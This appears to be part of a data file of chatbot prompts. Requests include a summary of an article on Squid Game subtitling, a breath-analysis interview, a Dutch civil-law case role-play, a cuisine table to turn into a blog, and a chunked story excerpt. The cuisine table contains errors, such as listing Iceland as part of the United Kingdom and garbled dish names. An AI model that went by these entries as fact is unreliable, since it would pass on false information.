purely contemplative\n(‘theoretical’) activity of the scientist. This calls for an overall picture where every\ndetail is assigned its own place: the various partial aspects are integrated and\nsystematized, so that science can explain as many phenomena as possible with as few\nprinciples as possible. For the Greeks, the ideal of knowledge is the disinterested\ncontemplation of the whole, which they want to understand and explain in its entirety."' +"Please summarise the following in 3 paragraphs\n\nLast month, bilingual Korean-American influencer Youngmi Mayer took to TikTok and Twitter, bemoaning what she considered to be botched English subtitles on Netflix’s hit series Squid Game. She argued that important nuances had been lost in translation. Others chimed in: the French and Hindi subtitles were junk too, and the English dubbing was a joke. Although many translation professionals say that the criticism was unfair, the pile-on was picked up by major news outlets.\n\nThe controversy drew a bright spotlight onto a rarely discussed industry at the heart of major international streaming platforms: language service providers, or LSPs. These are companies that provide outsourced subtitling, captioning, and dubbing through a global network of contract subtitle translators, voice-over actors, translation editors, and sound mixers. It also underscored a looming concern for streaming services: a shortage of quality translators who can handle an increasingly global audience.\n\n“Squid Game is another sign that there is a demand for locally produced media entertainment content above and beyond local audiences — for Korean content outside of Korea, for Mexican content outside of Mexico,” Paolo Sigismondi, a professor at the University of Southern California who researches the global entertainment industry, told Rest of World. Most of the over 111 million viewers who have now seen the gory Korean-language Netflix series watched with subtitles in one of 31 languages or via 13 dubbed versions. LSPs are critical to the distribution of that local content on a global scale. But because of a labor shortage and no viable automated solution, the translation industry is being pushed to its limits.\n\n“I can tell you literally, this industry will be out of supply over demand for the upcoming two to three years,” David Lee, the CEO of Iyuno-SDI, one of the industry’s largest subtitling and dubbing providers, told Rest of World. “Nobody to translate, nobody to dub, nobody to mix –– the industry just doesn’t have enough resources to do it.” Interviews with industry leaders reveal most streaming platforms are now at an inflection point, left to decide how much they are willing to sacrifice on quality to subtitle their streaming roster. \n\n“Nobody to translate, nobody to dub, nobody to mix — the industry just doesn’t have enough resources to do it.”\nBack in 2016, from an office in Los Angeles, Netflix launched in 130 global markets simultaneously. And today, viewers outside of North America are driving much of the company’s growth. Although Netflix lost 400,000 subscribers in the U.S. and Canada last quarter, it netted more than 1 million new subscribers in the Asia-Pacific region. Netflix is not alone in making international subscribers core to the future of its business. \n\nDisney+, HBO Max, and Iflix are also competing on the global stage, and each new market entrance demands translation resources. For services like Disney+, which has a deep catalog, the company needs to line up translation services for everything from the latest Marvel series and other original programming to its archived library of film and television as well as outdated localizations from old international releases. According to Chris Fetner, the director of the Entertainment Globalization Association (EGA), a trade association for localization companies, the next few years could see a pileup of translation orders around the world.\nNetflix offers viewers a total of 31 different language subtitling options for Squid Game depending on the user’s language settings.https://www.netflix.com/\nFetner, who spent nine years as a Netflix executive, building the platform’s localization strategies, said that until recently, the LSP industry could cope with demand. “When I was at Netflix, we got comfortable with the industry always absorbing our work. And it’s really hitting a saturation point, where the sponge can’t take any more water right now,” he said. Many member organizations of the EGA say they cannot take new work until after 2022, according to Fetner. “Every day, I hear somebody talk about how they had to turn work down.”\n\nTraining a new generation of translators to meet this supply issue in certain translation hot spots will take time, and most importantly, better compensation, said Lee, whose company Iyuno-SDI operates in over 100 languages and routinely clocks in over 600,000 episodes of translations every year. Lee said that roughly one in 50 applicants are able to pass Iyuno-SDI’s translator qualification exam. “I don’t think we’re happy with even 10% or 15% of who we work with,” he said. “We just have no other options because there’s just not enough professional translators.” When the company does contract less-qualified translators, Lee said they invest in more-thorough quality checks and edits to maintain overall quality. Last year, several major European translator associations blacklisted Iyuno-SDI, discouraging their members from working for the company due to increasing cuts to their freelance subtitling rates.\n\nPoor compensation is another reason for the labor shortage, making it difficult to keep good translators in the industry for long. Netflix pays $13 per minute for translation of Korean audio into English subtitles, but only a fraction of that figure ends up directly in the pockets of translators.\n\nData suggests that even ahead of the looming translation crunch, subtitle quality is already a concern for some European viewers. According to a recent study by the EGA, of 15,000 streaming subscribers surveyed in Spain, Germany, France, and Italy, 61% had encountered poor subtitling or dubbing quality on a monthly basis. And 70% had stopped a TV show or film in the last year as a result.\n\nFlorencia Lago, who subtitled Squid Game into Spanish from her home in the northern Patagonia region of Argentina, told Rest of World that she routinely takes on freelance projects subtitling Korean, Japanese, and Chinese film and television for Latin American audiences. “I have never worked with anything that has been so successful [Squid Game],” she said. “It’s been pretty shocking.”\n\nMost Popular\n\nIndian tech companies made big WFH promises. Now they're calling millions of workers back\n \n\nSouth African students are selling school Wi-Fi passwords for lunch money\n \n\nShe drew millions of TikTok followers by selling a fantasy of rural China. Then politics intervened\nLago, who was hired by Iyuno-SDI, said she was assigned work for Squid Game via English templating. An industry term, also known as pivot translation, this technique is when a subtitle script is first translated in English before being translated into a subsequent language. Lago, after all, is an English-Spanish translator and doesn’t speak Korean. \n\nEnglish templating is the industry norm, not an anomaly. That means non-English-speaking Netflix subscribers are often watching subtitles that have been filtered through a layer of English translation. \n\nLSPs use English templating as both a cost-cutting maneuver and a tool to scale. For instance, while there may be only a few dozen Korean-French translators working professionally on subtitling, there are plenty of Korean-English and English-French translators in the industry. Though English templating can be more efficient, translation researchers say that the process can deteriorate the quality. Others argue it’s problematic when English mediates expression into so many other languages.\n\n“We just have no other option because there’s just not enough professional translators.”\n\n“Translating Korean into French through English makes as much sense as translating French to English through Korean,” François-Xavier Durandy, a Hindi-French translator whose subtitling work has screened at Cannes, told Rest of World over email. Durandy equated English templating to subtitling malpractice.\n\nIn recent years, there have been efforts to automate translation as a means of coping with the deluge of new content. Iyuno-SDI has made investments in machine learning translation and automated quality checks, but executives say that the quality of the AI isn’t currently good enough to replace humans. In some instances, machine learning is currently used to generate a first-draft translation, which is then edited or disregarded by a human subtitler as they see fit. The shortcomings of AI in handling the art of subtitling means that there’s no quick fix to the translator crunch.\n\nRecent attention to localization quality has not gone unnoticed by streaming services. In response to the wave of criticism against Squid Game’s subtitles, Netflix hired Sharon Choi, the interpreter who went viral at last year’s Academy Awards ceremony — where she translated for Parasite director Bong Joon Ho — to take a second pass on the subtitles. Her name is now displayed alongside the original translator of Squid Game’s English-language subtitled version. Iyuno-SDI has also seen an uptick in clients investing in subtitling high-priority shows via direct translation, as opposed to English templating, to improve quality.\n\n“You want it to be very good, but when you try to go to perfection, the return on investment becomes uninteresting,” said Fetner. “Having something that’s 95% satisfying, I think most of us would say that’s great. And to move that 5%, it’s expensive.” Many platforms will have come away from the Squid Game controversy knowing that, despite any flaws, subscribers were still watching.\n\nThis piece has been updated to include labor complaints against Iyuno-SDI." +'Learn EXHALED BREATH ANALYSIS\nIT’S CLEAR THAT LIQUID BIOPSY CAN PROVIDE A MINIMALLY INVASIVE ALTERNATIVE TO\nTRADITIONAL TISSUE BIOPSIES. HOWEVER, A FIELD HAS EMERGED THAT AIMS TO REDUCE\nTHAT INVASIVENESS EVEN FURTHER. BREATH ANALYSIS – SOMETIMES REFERRED TO AS\n“BREATHOMICS” – SEEKS TO PROVIDE COMPLETELY NON-INVASIVE DIAGNOSTIC TESTING\nBY ANALYSING BIOMARKERS PRESENT IN EXHALED BREATH. Sniffing out disease\nUnpleasant or unusual odours have been associated with specific\ndiseases since ancient times. Socrates was the first to describe fetor\noris and fetor hepaticus in relation to breath aroma and disease1.\nThe sweet scent sometimes found on the breath of individuals with\ndiabetes has also long been linked to the presence of increased levels\nof acetone2. More recently, the underlying concepts of breath analysis\nhave hit the news with the nurse that can smell Parkinson’s disease\nand dogs that can sniff out cancer.\nIn the field of modern breath analysis, researchers aim to elucidate\nthe molecular signals underlying disease processes. Research focuses\non establishing breath tests that can be used in diagnostic clinical\npractice. Although much evidence has emerged supporting the\nanalysis of breath in the non-invasive diagnosis and monitoring of\ndisease, many challenges still remain when translating this work into\nclinical practice.\nBreath is a highly variable and complex biological matrix, containing\nmolecular signals that are representative of the whole body. A\ncombination of analytical and statistical methods is required to\ncharacterise exhaled breath and link profiles to specific diseases.\nDespite the challenges, breath analysis shares many research themes\nand aims with liquid biopsy, with the ultimate goal being the noninvasive\ndiagnosis of disease.\nIn the interview included in this chapter we spoke to Billy Boyle,\nFounder of Owlstone Medical, about the origins of breath analysis\nand how non-invasive diagnosis can be achieved. this field of research?\nBilly Boyle: Breath has been used as a diagnostic tool for thousands of\nyears. The ancient world knew that fishy smelling breath often meant\na renal disorder, while fruity breath has long been associated with\ndiabetic shock. Linus Pauling is often considered the father of modern\nbreath research. He and his colleagues started trying to analyse volatile\norganic compounds (VOCs) in biological samples in the 1970s. Progress\nat that time was restricted by the relative complexity of reliably\ncollecting and analysing the mixture of hundreds of VOCs in these\nsamples. Ongoing research is establishing clearer connections between\nspecific VOCs and the biological processes involved in their production.\nFLG: What exactly are VOCs? Are there any other biomarkers of\ninterest that can be found in breath?\nBilly: VOCs are gaseous molecules that can be sampled quickly and\nnon-invasively from breath. They can originate either from within\nthe body (endogenous VOCs) or from external sources such as\ndiet, prescription drugs and environmental exposure (exogenous\nVOCs). Endogenous VOCs are products of metabolic activity in the\nbody (including non-human metabolic pathways such as within the\nmicrobiome). Changes to VOC concentrations could be characteristic of\nspecific disease processes.\nExogenous VOCs in breath can also be used to assess drug\nmetabolism, or to measure exposure to potentially harmful\ncompounds in the environment, such as benzene. With sufficient\nbiological knowledge, exogenous VOCs could also be administered\nas probes, in conjunction with a breath test, to assess the activity of\ntargeted metabolic pathways.\nExhaled breath also contains microscopic aerosol particles. They can be\nsampled as exhaled breath aerosol (EBA) or exhaled breath condensate\n(EBC) and are another rich source of biological information originating\nfrom the lungs and the airways.\nFLG: Where can breath analysis be applied and in which different\ndisease areas could it have an impact?\nBilly: Endogenous VOCs produced throughout the body are\npicked up and distributed in the bloodstream. Your entire blood\nvolume passes through your lungs approximately once a minute,\nwhere volatile metabolites exchange easily between blood and\nbreath. Prospective VOC biomarkers originating from all parts of\nthe body can be captured in breath. This makes breath testing\napplicable to a wide range of diseases including inflammatory,\nrespiratory, metabolic, cardiovascular, gastrointestinal (including\nthe microbiome), infectious diseases, as well as various cancers.\nNon-invasive breath biomarkers are perfectly suited to addressing\ntwo of the major challenges of healthcare today: early detection and\nprecision medicine.\nFLG: What technologies & analysis methods are used in breath research?\nBilly: Two predominating approaches have emerged as tools for breath\nresearch. The first, performs quantitative analytical characterisation.\nThis uses in-depth techniques, such as gas chromatography mass\nspectrometry (GC-MS) – which is the current gold standard. Through\nthese tools the VOCs in exhaled breath are separated, identified\nand quantified. This approach reveals individual VOCs, which can be\ninvestigated (either individually or in combination) as prospective\nbiomarkers.\nThe second approach to breath research performs qualitative\nassessment of the exhaled breath composition. This is usually\nperformed with an individual chemical sensor or arrays of specific or\ncross-reactive chemical sensors. The signals obtained can be translated\nvia mathematical algorithms into discriminative breath-prints or\npatterns associated with a specific group of patients/disease. Inspired\nby the mammalian sense of smell, such systems have sometimes been\nreferred to as Electronic Noses (eNoses). Sensor-based approaches\nare much more affordable but, as a discovery and validation technique\nhave proved much less easily transferable. FLG: What are some of the challenges faced with breath analysis\ncompared to other biological matrices?\nBilly: Breath biopsies aren’t as clinically established as liquid or tissue\nbiopsies. While a number of breath tests are already in use in the clinic,\ntheir application has been limited to diseases of the lungs and the\ngastrointestinal system. There is a degree of scepticism in believing\nthat breath tests can reflect metabolic activity across diverse parts of\nthe body (such as the liver) that needs to be overcome.\nBreath is an incredibly complex medium, with the concentrations of\ncompounds of interest in samples often spread over many orders of\nmagnitude. The molecular feature you’re interested in might only be\npresent on breath at a level of parts per billion, parts per trillion – or\neven smaller. Analytical research equipment therefore requires a very\nhigh dynamic range. Sample storage and transportation was also often\na problem in the past, with breath samples collected into cumbersome\nbags that can easily burst.\nMany modern breath research studies have failed to control for ambient\ncontamination during sampling. Food, drink, flowers, cleaning products,\npollution etc. are all sources of VOCs and the air in a room will always\ncontain a broad selection of VOCs that have nothing to do with a patient’s\nhealth and are instead dependent on location. Studies attempting to\nidentify or validate prospective breath biomarkers would benefit from using\na breath collection station that removes contaminant VOCs from ambient\nair before supplying it the patient and minimises further ambient ingress.\nHowever, removing all contaminants is likely impossible, so collecting blank\nsamples for comparison to patient samples is also advised.\nFLG: In contrast, what are some of the advantages of breath analysis\ncompared to liquid biopsy & other diagnosis methods?\nBilly: Breath has many advantages. Firstly, it is inherently noninvasive\n– it is both pain- and risk-free. As collecting breath requires\nno special facilities or training, it’s compatible with a wide range of care contexts. Even patients complaining of acute breathlessness\nhave provided breath samples without discomfort. Breath testing’s\ncomparative acceptability would likely boost patient compliance.\nBreath is also inexhaustible. In essence, exhaled breath is a\nwaste product that the human body produces in large quantities\nconstantly. Conventional biopsy techniques rely upon harvesting\nand testing more finite resources. There are no limits that need\nto be placed on breath sample size, or frequency for ongoing\nmonitoring. To increase the sensitivity of breath testing you can\nalso use a breath sampler that captures and preconcentrates VOCs\n(such as on sorbent tubes), before analysis, discarding the unwanted\nbreath fractions – not a technique that could be easily replicated in\nblood or tissue biopsies.\nExisting biopsy techniques commonly aim to detect changes in\ngenetics or proteins. Breath biomarkers, in contrast, are typically\nproducts of metabolism. Many diseases can have significant\nmetabolic impacts with relatively minimal effects on the genetic or\nprotein complement of a cell.\nFLG: What are the main steps for establishing breath analysis in the\nsame way as liquid biopsy? What are the main challenges in getting\nbreath tests to the clinic and what will a breath test look like in\nclinical practice?\nBilly: After breath biomarkers have been validated and approved for\nuse as part of a specific test, a sensor device that’s sensitive to those\nspecific biomarkers can be developed. That will allow easy translation\nof those biomarkers into the clinic, or even the home. A sensor\ntechnology, such as field asymmetric ion mobility spectrometry\n(FAIMS), will allow cost-effective clinical or at-home breath testing,\nthat delivers clear and rapid diagnostic results at the point of care.\nBreath is almost entirely a new diagnostic category. Even once new\nbiomarkers have been sufficiently validated, as with all new tests, it\nwill take time for breath testing to be accepted and\nintegrated into clinical practice. However, the fact that\nbreath is completely non-invasive and patient friendly\nshould help to speed up adoption – especially for use\nwith vulnerable groups.\nIt is likely that any breath tests in the clinic will\nbe specific for one disease, or for differentiating\nbetween a group of similarly presenting conditions\nthat may nonetheless behave differently at a\nmetabolic level. In principle, simultaneously collecting\nbiomarkers from across the body in a breath sample\nwould allow breath sampling to be used to detect\nillnesses without any prior knowledge of what\ndiseases are present, or where in the body they are\nactive. However, in the short-term, specific tests\nfor specific diseases, with tailored sensors, can be\nexpected to reach the clinic sooner.' +"Lets play a game. Pretend to be lawyer that has been given the following task and you have to by all means perform with the best of your abilities as an experienced and knowledgeable lawyer. \n\nUsing the dutch civil code, propose a detailed resolution that applies contract, property and law principles. For example, we may use this article under the dutch civil code for tort law: Article 6:170 of the Dutch Civil Code: Liability for faults (tortious acts) of a subordinate. Find the all the details from the organised documents from the dossier analysis below. \n\nContract Law:\nOn the 18th of September 2007, Arion Corbin signed an employment contract for POSEIDON Global.\nOn the 20th of October 2018, Cecilia Vallejo (seller) had an agreement with Luce V. Monjeau (Buyer). Cecilia agrees to\nsell her female horse, Pegasus to Luce, and she agrees to buy Cecilia's horse for 5000€.\nFrom the 3rd of May 2010 up to the latest review which was the 3rd of May 2021, Poseidon electronics had created a\nsafety policy document. In which the policy was to ensure the safety of the individuals who operated vehicles from the\ncompany. This policy was reviewed after its first year and every year thereafter.\nAdditionally, from the 21st of June 2021 to the 5th of July 2021, there was a pre-contractual discussion between\nPoseidon Electronics and Megastores. Throughout the discussion, there was an agreement between Poseidon\nElectronics (seller), and Megastores London (buyer), to purchase 200 Samsung Televisions, Model: 65” Samsung Neo\nQLED 8K Smart TV (2021). The price per television was 2.000€, which gave a total price of 400.000€. However,\nMegastores London's first downpayment amounted to 30% of the total purchase price. If everything had been followed,\nthe delivery would be done, which took a time of 5 business days from the day of dispatching. Finally, on the 5th of July\n2021, Poseidon Electronics and Megastores London made the Sale, Purchase, and Delivery Agreement.\nOn the 6th of July 2021, Poseidon Electronics sent an invoice to Megastores London for the first payment which was\n144.300€.\nOn the 8th of July 2021, Megastores London sent Poseidon Electronics a confirmation of the first payment.\n\nContract Law: \nThe day after, 9th of July 2021, Stella, who was the truck dispatcher and logistics responsible for Poseidon Electronics\nassigned Arion to the new delivery of 200 televisions.\nStella then sent Arion an email with the details of the delivery he had to do, to which Arion replied by accepting the\ndelivery given to him. Furthermore, on the 9th of July 2021, Poseidon Electronics sent the shipment notification to\nMegastores London. During the days of the 9th and 10th of July 2021, Arion had a driver's log, where you could see his\ndriving times, and some notes about the destinations he had to go to.\nOn the 12th of July 2021, Poseidon Electronics sent an email to Megastores London, informing them about the\ninvolvement of an accident with the driver that delivered the televisions, additionally, also mentioned the goods that\ngot stolen the morning after the accident. Therefore, Poseidon Electronics said they could not satisfy the demands at\nthat moment. Megastores London answered by saying that there's a contract in place, and they will act according to its\nprovisions. As there was a down payment made; as well as, they trusted Poseidon Electronics for the purchase, and they\nchose it amongst other competitors because of the great reputation the company holds.\nLastly, on the 26th of July 2021, Poseidon Electronics made an internal memorandum, where they mention how it is\nnot profitable for the company to continue with Megastores, therefore, they mention that they believe their best option\nis to end the contract with Megastores.\nProperty Law:\nOn the 22nd of June 2019, Philip Cheng received his Certificate of ownership of the parking lot named Parking d'Arras,\nwhich certified that he was the registered owner of the parking space. Moreover, on the 10th of July 2021 around 22:30\npm, Arion, a truck driver had a car accident close to the parking lot. He was in charge of taking the 200 Samsung\nTelevisions to London, UK. After the accident, Arion was very tired; therefore, he thought parking in the Parking\nd'Arras was the best option as it was the closest place near him, where he parked his truck and slept. The morning after,\n11th of July 2021, he found out that they had broken into his truck and had stolen 100 of those televisions.\nFollowing up on those days, on the 13th of July 2021, 20 televisions had been found by the team in the electronic shop\nLe Monde Electro. However, the owner of the shop informed the team that part of those stolen televisions had already\nbeen sold, consequently, the remaining televisions were confiscated and returned to the owner, Poseidon Electronics.\nThe day after, 14th of July 2021, the team identified all the buyers of the stolen televisions and communicated the list of\nnames and contact details to Poseidon Electronics.\nOn the 15th of July 2021, Poseidon Electronics emailed Ms. Lapierre as she was in possession of a Samsung Television.\nThrough that email, she had been informed about the unlawfully sold television by Le Monde Electro and that she had\nto return it. She was told that if she did not cooperate by returning the television, then the matter would be given to the\npolice. Moreover, Poseidon Electronics offered to pick up the television free of charge within two days.\nLastly, on the 17th of July 2021, there was a call between Ms. Lapierre and Poseidon Electronics.\nMs. Lapierre phoned Poseidon Electronics customer service, where Thomas was the employee who attended the phone\ncall. During this phone call, Ms. Lapierre was in a disagreement with Poseidon Electronics, as she did not want to return\nthe television as she does not get reimbursed nor got to keep the television. Therefore as she did not want to cooperate,\nThomas (the customer service), informed Ms. Lapierre that the matter was going to be turned over to the police.\n\nTort Law:\nOn 10 July 2021, a 40-year-old police officer named, Yousra Williams, had been attacked by a Burmese python while\nshe was reporting a car incident. She was found to have multiple right-sided rib fractures, as well as marks of snakebite.\nThe snake was Arion's 3-meter pet Burmese python, which he had brought with him along on his delivery.\nOn the 11th of July 2021, Arion explained that after several hours into its drive from Poseidon Electronics Warehouse,\nhe decided to pull off the highway to rest. As he was looking for a place where to rest, two of the live mice he had\nbrought along to feed his pet, escaped from their cage and ran up his arm. Therefore, he took both hands off the\nwheel in an attempt to catch the mice. However, due to that reaction, the truck drifted to the right and collided with a\nparked horse trailer. As a consequence, the truck was slightly damaged; on the other hand, the horse trailer was\ndestroyed and the horse inside it, named Pegasus, was badly injured.\nThe morning after the accident, Arion calls Stella and tells her about the accident he had, and how they had to put the\nhorse down because of its injuries.\nAfter the loss of the horse of the owner, he had to go to therapy, which cost 240€.\nIn addition, the bill cost of medical care was 105€ and as she had PTSD, her therapy cost 200€.\nLastly, on the 19th of July 2021, Megastores London sent a letter of claim to Poseidon Electronics. In the letter,\nMegastores London mentions three specific claims, (1) Loss of profits, amounting to EUR 800.000,00. (2) Loss of\nopportunity, amounting to EUR 10.000.000,00. (3) Loss of reputation, amounting to EUR 50.000.000,00." +'Can you convert this table content in a interesting blog content. Ensure the output is well formatted using markdown, use H3, H3, bullet properly.\n\nfor each country follow the following format\n\n## Country Name\nIntro text about geographic location.\n## Important Features\n### Staple Food\n### Key dishes of different courses\n\nHere is the text in markdown I want you to work with.\n\n| Country | Geographic Location | 5 Important Features | Staple Food | 10 important dishes of different courses |\n| --- | --- | --- | --- | --- |\n| United Kingdom | Europe, comprises of Scotland, Iceland, Wales and England. | • Use of lard is predominant.\n• Pies and pastries are popular.\n• Mostly inspired by the colonies.\n• Sausages like Haggis are widespread.\n• Alcoholic spirits are predominantly used as an aid to cooking. | • Offal\n• Meat\n• Milk\n• Vegetables like leeks, onions, garlic and leeks.\n• Butter\n• Cheese\n• Oats\n• Barley\n• Potatoes | 1. Fish and Chips\n2. Shepherds’ Pie\n3. Cornish Pastry\n4. Yorkshire Pudding\n5. Welsh Rarebit\n6. Roast Beef\n7. Cumberland Sausage\n8. Bread and butter Pudding\n9. Scones\n10. Fruit Trifle |\n| Italy | Southern Europe | • Coffee , specifically espresso is served after meals.\n• Italian meals are accompanied by wine.\n• Olive oil is a major cooking medium, it is also used as a flavouring agent.\n• Starch-based products like Pasta, pizza and bread are the major source of carbohydrates. | • Tomatoes\n• Duram Wheat\n• Olive oil\n• Cheese\n• Meat\n• Poultry\n• Herbs\n• Garlic | 1. Minestrone\n2. Frito Miso\n3. Polenta\n4. Pizza\n5. Spagetti Carbonara\n6. Tiramisu\n7. Panettone\n8. Bistteccaalla Florentina\n9. Zabaglione\n10. Ricotta Gnudi |\n| France | South-western Europe | • Baked goods are widely used\n• Stock serves as an Important base for most sauces and all soups\n• Finesse is key to the french style of cooking\n• Garnishes and accompaniments are very important\n• The courses and structure of the menu are adhered to strictly. | • Eggs\n• Herbs\n• Mustard\n• Wine\n• Bread\n• Meat\n• Poultry\n• Sea Food\n• Stock | 1. Moules el sauce\n2. Chicken Cordon Bleu\n3. Mussels a la mariniere\n4. Beef Bourguignon\n5. Pork tenderloin\n6. Coq Au Vin\n7. Poulet Parisienne\n8. Salmon and Swiss Chard Quiche\n9. Mille Feuille\n10. Creme Brûlée |\n| Spain | South-western Europe | • Various condiments and spices are used.\n• La Comida is a large midday meal\n• Snacks and appetizers referred to as Tapas are extremely popular.\n• Large amounts of tomatoes.\n• Saffron is used to flavor many dishes. | • Tomatoes\n• Milk\n• Seafood\n• Meat\n• Poultry\n• Rice\n• Olive oil\n• Forcemeat | 1. Gazpacho\n2. Tortillas\n3. Pintxos\n4. Paella\n5. Cat soup\n6. Ox- tail stew\n7. Cod Tavias\n8. Churros\n9. Flan\n10. Torrija |\n| Portugal | South-western Europe | • Seafood is consumed in large quantities\n• Highly influenced by the colonial era, Mediterranean influences are also found\n• Spices like peri-peri are widely used\n• Herbs like bay leaves and parsley are important.\n• Olive oil is the basis of most dishes | • Sea food\n• Cheese\n• Meat\n• Poultry\n• Vegetabes like Tomatoes, cabbage and onions\n• Starch from potatoes and rice\n• Garlic\n• Olive oil\n• Peri-peri spice | 1. Caldo Verde\n2. Bica\n3. Chourico\n4. Arroz doce\n5. Enchidos\n6. Maranahos\n7. Mariscos\n8. Pasties de Nata\n9. Barriga de friera\n10. Doce de Cila |\n| Scandinavia | Sweden , Denmark , Norway | • Three meals a day and a coffee break are chosen food routines\n• High intake of buttermilk and sour cream\n• Preserved food is a common choice\xa0\n• Spices are not widely consumed\n• Cold Smorgasbord is usually part of a lunch or dinner setup | • Fish\n• Cabbage\n• Whole wheat bread\n• Cheese\n• Potato\n• Biscuits\n• Cookies\n• Forcemeat\n• Herring | 1. Biksemad\n2. Salmon\n3. Steak and Potatoes\n4. Salmon Sushi with Barley, Rice\n5. Frikadeller\n6. Kraftor med dill\n7. Stekt Stromming\n8. Dillkott\n9. Tjalknol\n10. Rostad Hjortstek |\n| Germany | Western Europe | • Adopted many cooking methods from Italy and France\n• Preservation is used in many ways\n• Herbs like parsley celery and dill are used\n• Spices like Juniper berries, horseradish and mustard are used\n• All forms of dairy are used | • Pork\n• Sausages\n• Potatoes\n• Bread\n• Cabbage\n• Trout\n• Apple\n• Meat\n• Cold cuts\n• Preserves\n• Cheese | 1. Currywurst\n2. Frikadellen (German meat balls)\n3. German Bienenstich\n4. Apfelstrudel\n5. Kartoffelsalat\n6. Kasekuchen\n7. WeisseBohnensuppe\n8. Bratwurst\n9. Kartoffelknödeln\n10. Rotkohl |\n| Middle East | Egypt, Iran, Iraq, Turkey, Saudi Arabia, Yemen, Syria, United Arab Emirates, Israel, Jordan, Palestine, Lebanon, Oman, Kuwait, Qatar, Bahrain | • Bulghur cracked wheat, which is husk removed, steamed and crushed wheat; is the most common form of wheat.\n• Olive oil is an important ingredient\xa0\n• Coriander is an essential spice.\n• Elaborate dips are used with most dishes\n• Food is consumed, Communally | • Wheat\n• Lamb\n• Mutton\n• Cheese\n• Eggplant\n• Melon\n• Nuts\n• Dips like hummus, tabbouleh, mutabbal | 1. Shorbat adas\n2. Fattoush\n3. Falafel\n4. Menamen\n5. Pogaca\n6. Pilaf\n7. Arak\n8. Kunafeh\n9. Qatayef\n10. Qara’ ‘Asali |\n| Oriental | China, Vietnam, Laos, Korea, Japan | • Aniseed, Chinese prickly ash seed, and cinnamon are used to add aroma\n• Soy sauce, vinegar, sugar and salt are used in varying quantities to produce distinctive flavors according to regions\n• Thai food has coconut oil, and fresh herbs as important ingredient\xa0\n• Vietnamese cuisine focuses on a harmony of spices, sourness, salt, sweet and bitter\n• Stir-frying, steaming and deep-frying are common cooking methods. | • Rice\n• Soy\n• Bok choy\n• Mint\n• Cilantro\n• Basil\n• Mutton\n• Tea\n• Sea food\n• Mung beans | 1. Bun cha\n2. Teriyaki rib eye steaks\n3. Oyako Donburi\n4. Cha ca\n5. Bun bon am bo\n6. Roast squab\n7. Yeung Chow\n8. Dau Fu Fa\n9. Sai mai lo\n10. Braised Abalone |\n| Mexican | Latin America | • Chilli is the main stimulant for taste\n• Cumin, cinnamon, cloves, coriander are used as essential flavouring agents\n• Eggs are widely used for cooking\n• Tortillas, the bread in Mexico is eaten in every meal\xa0\n• Jalapeno is predominant spice | • Beans\n• Rice\n• Meat\n• Corn\n• Chilli\n• Habaneros\n• Jalapeños\n• Poultry | 1. Enchiladas\n2. Fajita\n3. Chimichanga\n4. Chorizo\n5. Pork and poblano\n6. Chocinita pibil\n7. Capirotada\n8. Cabrito\n9. Mojarra Frita\n10. Birria |\n| Arabic | Eastern Arabia, Morocco, The Levant, Libya, Tunisia, Algeria, Somalia, Sudan | • Butter and cream are extensively used\n• Sesame, black pepper, saffron, turmeric, garlic, cumin are principal spices.\n• Nuts are used in preparation as well as snacks\n• Olive oil is an important ingredient\xa0\n• Parsley, coriander and mint are regular seasonings | • Coffee\n• Rice\n• Wheat\n• Lentils\n• Meat from large animals | 1. Kabsa\n2. Tilapia filet\n3. Syrian oven potato\n4. Sheikh al Mihshi\n5. Mejaddara of rice\n6. Mohallabiah\n7. Khabeesa\n8. Mafruka\n9. Oyoun el-maha\n10. Ghoraybah |\n\nPlease write in English language.' +'=== INSTRUCTIONS ===\nYour task is ONLY to confirm receipt of this chunk, chunk 3/3, and not generate any text. You have now received all the chunks. Please wait for further instructions.\n=== SCRIPT CHUNK 3/3 ===\n wishing it were Ujunwa; the Zimbabwean said Edward’s eyes were always leering when he looked at Ujunwa; the white South African said Edward would never look at a white woman like that because what he felt for Ujunwa was a fancy without respect. “You all noticed?” Ujunwa asked them. “You all noticed?” She felt strangely betrayed. She got up and went to her cabin. She called her mother, but the metallic voice kept saying “The number you are calling is not available at the moment, please try later,” and so she hung up. She could not write. She lay in bed and stayed awake for so long that when she finally fell asleep, it was dawn. That evening, the Tanzanian read an excerpt of his story about the killings in the Congo, from the point of view of a militiaman, a man full of prurient violence. Edward said it would be the lead story in the Oratory, that it was urgent and relevant, that it brought news. Ujunwa thought it read like a piece from The Economist with cartoon characters painted in. But she didn’t say that. She went back to her cabin and, although she had a stomachache, she turned on her laptop. As Chioma sits and stares at Yinka, settled on the alhaji’s lap, she feels as if she is acting a play. She wrote plays in secondary school. Her class staged one during the school’s anniversary celebration and, at the end, there was a standing ovation and the principal said, “Chioma is our future star!” Her father was there, sitting next to her mother, clapping and smiling. But when she said she wanted to study literature in university, he told her it was not viable. His word, “viable.” He said she had to study something else and could always write on the side. The alhaji is lightly running a finger over Yinka’s arm and saying, “But you know Savanna Union Bank sent people to me last week.” Yinka is still smiling and Chioma wonders whether her cheeks are aching. She thinks about the stories in a metal box under her bed. Her father read them all and sometimes he wrote in the margins: Excellent! Cliché! Very good! Unclear! It was he who had bought novels for her; her mother thought novels a waste of time and felt that all Chioma needed were her textbooks. Yinka says, “Chioma!” and she looks up. The alhaji is talking to her. He looks almost shy and his eyes do not meet hers. There is a tentativeness toward her that he does not show toward Yinka. “I am saying you are too fine. Why is it that a Big Man has not married you?” Chioma smiles and says nothing. The alhaji says, “I have agreed that I will do business with Merchant Trust but you will be my personal contact.” Chioma is uncertain what to say. “Of course,” Yinka says. “She will be your contact. We will take care of you. Ah, thank you, sir!” The alhaji gets up and says, “Come, come, I have some nice perfumes from my last trip to London. Let me give you something to take home.” He starts to walk inside and then turns. “Come, come, you two.” Yinka follows. Chioma gets up. The alhaji turns again toward her, to wait for her to follow. But she does not follow. She turns to the door and opens it and walks out into the bright sunlight and past the Jeep in which the driver is sitting with the door hanging open, listening to the radio. “Aunty? Aunty, something happen?” he calls. She does not answer. She walks and walks, past the high gates and out to the street where she gets in a taxi and goes to the office to clear out her almost-empty desk. Ujunwa woke up to the crashing sound of the sea, to a nervous clutch in her belly. She did not want to read her story tonight. She did not want to go to breakfast, either, but she went anyway and said a general good morning with a general smile. She sat next to the Kenyan and he leaned toward her and whispered that Edward had just told the Senegalese that he had dreamed of her naked navel. Naked navel. Ujunwa watched the Senegalese, delicately raising her teacup to her lips, sanguine, looking out at the sea. Ujunwa envied her confident calm. She felt upset, too, to hear that Edward was making suggestive remarks to someone else, and she wondered what her pique meant. Had she come to see his ogling as her due? She was uncomfortable thinking about this, about reading that night, and so in the afternoon, lingering over lunch, she asked the Senegalese what she had said when Edward spoke of her naked navel. The 